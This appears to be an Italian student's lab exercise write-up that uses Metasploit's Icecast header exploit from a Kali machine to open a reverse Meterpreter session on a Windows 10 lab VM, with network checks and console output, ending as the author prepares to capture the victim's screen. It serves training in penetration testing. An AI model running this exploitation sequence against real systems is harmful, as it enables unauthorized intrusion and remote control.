Esercitazione S7L4

Nell'esercitazione odierna dovevamo ottenere uno screenshot dello schermo della vittima.

Come prima cosa ci siamo accertati dell'indirizzo IP delle due macchine e se fossero nella stessa rete. L'attaccante Kali, con IP 192.168.1.100 e la vittima Windows 10 con IP 192.168.1.130.

Attaccante

```
(kali® kalivbox)-[~]
$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 :: 1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:78:7b:92 brd ff:ff:ff:ff:
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
        valid_lft 85604sec preferred_lft 85604sec
    inet6 fd00::d1e:52da:f6a7:6e50/64 scope global dynamic noprefixroute
        valid_lft 85606sec preferred_lft 13606sec
    inet6 fe80::da4:c9aa:cc8b:77ea/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:fb:b2 brd ff:ff:ff:ff:ff:
    inet 192.168.1.100/24 brd 192.168.1.255 scope global noprefixroute eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::707c:685b:cae16338/64 scope link noprefixroute
    valid_lft forever preferred_lft forever
```

Vittima



Impostazioni



ETHERNET

Proprietà

Server DNS IPv6: fec0:0:0:ffff::1%1

fec0:0:0:ffff::2%1

fec0:0:0:ffff::3%1

Indirizzo IPv4: 192.168.1.130

Produttore: Intel

Descrizione: Intel(R) PRO/1000 MT Desktop Adapter

Versione driver: 8.4.13.0

Indirizzo fisico: 08-00-27-88-8E-E3

Copia

Per un ulteriore certezza si è controllato che avvenisse un ping dalla macchina attaccante verso Windows 10 il quale avviene senza problemi.

```
(kali@kalivbox)-[~]
$ ping 192.168.1.130
PING 192.168.1.130 (192.168.1.130) 56(84) bytes of data.
64 bytes from 192.168.1.130: icmp_seq=1 ttl=128 time=13.6 ms
64 bytes from 192.168.1.130: icmp_seq=2 ttl=128 time=2.06 ms
64 bytes from 192.168.1.130: icmp_seq=3 ttl=128 time=1.07 ms
^C
— 192.168.1.130 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 1.071/5.574/13.596/5.686 ms
```

Accertati anche di questo abbiamo proceduto con il comando di avvio di metasploit e faremo partire la scansione per una vulnerabilità di un software che sappiamo essere presente sulla macchina della vittima, Icecast, un software per lo streaming in questo caso.

Come di consueto lanciamo il comando options per vedere se il modulo ha bisogno di qualche informazione. E come di consueto procediamo col settare gli IP di ascolto (LHOST) e di lettura (RHOSTS). Dopo di che avviamo l'exploit il quale apre la sessione con la vittima.

```
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.1.100:4444

[*] Sending stage (177734 bytes) to 192.168.1.130

[*] Meterpreter session 1 opened (192.168.1.100:4444 → 192.168.1.130:49450) at 2024-12-19 15:09:36 +0100
```

A sessione avviata per accertarsi di essere all'interno della macchina corretta lanciamo il comando "ifconfig", il quale ci mostra tutti gli indirizzi IP delle varie interfacce.

Fatto ciò, ci apprestiamo a ottenere ciò per cui ci siamo infiltrati nella macchina della vittima, ovvero uno screenshot dello schermo XD.

